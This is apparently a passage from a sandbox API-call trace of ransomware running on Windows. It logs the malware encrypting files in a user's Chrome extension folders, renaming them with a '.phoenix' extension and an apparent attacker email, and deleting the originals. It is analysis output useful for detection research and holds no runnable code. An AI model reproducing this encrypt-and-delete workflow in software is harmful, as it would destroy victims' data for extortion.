	[0255.422] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.422] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.423] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=11094) returned 1
	[0255.423] CloseHandle (hObject=0x314) returned 1
	[0255.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json")) returned 0x20
	[0255.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.423] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.423] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.423] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.423] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.424] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0255.424] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.424] ReadFile (in: hFile=0x314, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2b56, lpOverlapped=0x0) returned 1
	[0255.451] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2b60, dwBufLen=0x2b60 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2b60) returned 1
	[0255.451] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2b60, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2b60, lpOverlapped=0x0) returned 1
	[0255.453] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0255.453] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.453] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0255.453] CryptDestroyKey (hKey=0x151500) returned 1
	[0255.453] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0255.453] CryptDestroyKey (hKey=0x151380) returned 1
	[0255.453] CloseHandle (hObject=0x314) returned 1
	[0255.453] CloseHandle (hObject=0x310) returned 1
	[0255.453] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json")) returned 1
	[0255.454] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.454] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.455] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3213) returned 1
	[0255.455] CloseHandle (hObject=0x310) returned 1
	[0255.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png")) returned 0x20
	[0255.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.455] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.455] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.456] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.456] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.457] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0255.457] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.457] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc8d, lpOverlapped=0x0) returned 1
	[0255.532] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc90, dwBufLen=0xc90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc90) returned 1
	[0255.532] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc90, lpOverlapped=0x0) returned 1
	[0255.533] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0255.533] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.533] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0255.533] CryptDestroyKey (hKey=0x151380) returned 1
	[0255.533] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0255.533] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0255.533] CloseHandle (hObject=0x310) returned 1
	[0255.533] CloseHandle (hObject=0x314) returned 1
	[0255.533] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png")) returned 1
	[0255.535] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.535] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.543] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=143) returned 1
	[0255.543] CloseHandle (hObject=0x314) returned 1
	[0255.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png")) returned 0x20
	[0255.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.543] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.543] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.543] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.543] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.544] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0255.544] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.544] ReadFile (in: hFile=0x314, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x8f, lpOverlapped=0x0) returned 1
	[0255.545] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90, dwBufLen=0x90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90) returned 1
	[0255.545] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x90, lpOverlapped=0x0) returned 1
	[0255.546] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151740) returned 1
	[0255.546] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.546] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0255.546] CryptDestroyKey (hKey=0x151740) returned 1
	[0255.546] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0255.546] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0255.546] CloseHandle (hObject=0x314) returned 1
	[0255.546] CloseHandle (hObject=0x310) returned 1
	[0255.546] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png")) returned 1
	[0255.548] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.548] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.548] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=92) returned 1
	[0255.548] CloseHandle (hObject=0x310) returned 1
	[0255.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html")) returned 0x20
	[0255.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.548] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.548] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.548] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.549] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.549] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0255.549] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.549] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x5c, lpOverlapped=0x0) returned 1
	[0255.551] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60, dwBufLen=0x60 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60) returned 1
	[0255.551] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x60, lpOverlapped=0x0) returned 1
	[0255.552] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0255.552] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.552] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0255.552] CryptDestroyKey (hKey=0x151140) returned 1
	[0255.552] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0255.552] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0255.552] CloseHandle (hObject=0x310) returned 1
	[0255.552] CloseHandle (hObject=0x314) returned 1
	[0255.552] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html")) returned 1
	[0255.553] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.553] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.554] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=91) returned 1
	[0255.554] CloseHandle (hObject=0x314) returned 1
	[0255.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js")) returned 0x20
	[0255.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.554] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.554] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.554] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.554] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.555] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151740) returned 1
	[0255.555] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.555] ReadFile (in: hFile=0x314, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x5b, lpOverlapped=0x0) returned 1
	[0255.556] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60, dwBufLen=0x60 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x60) returned 1
	[0255.556] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x60, lpOverlapped=0x0) returned 1
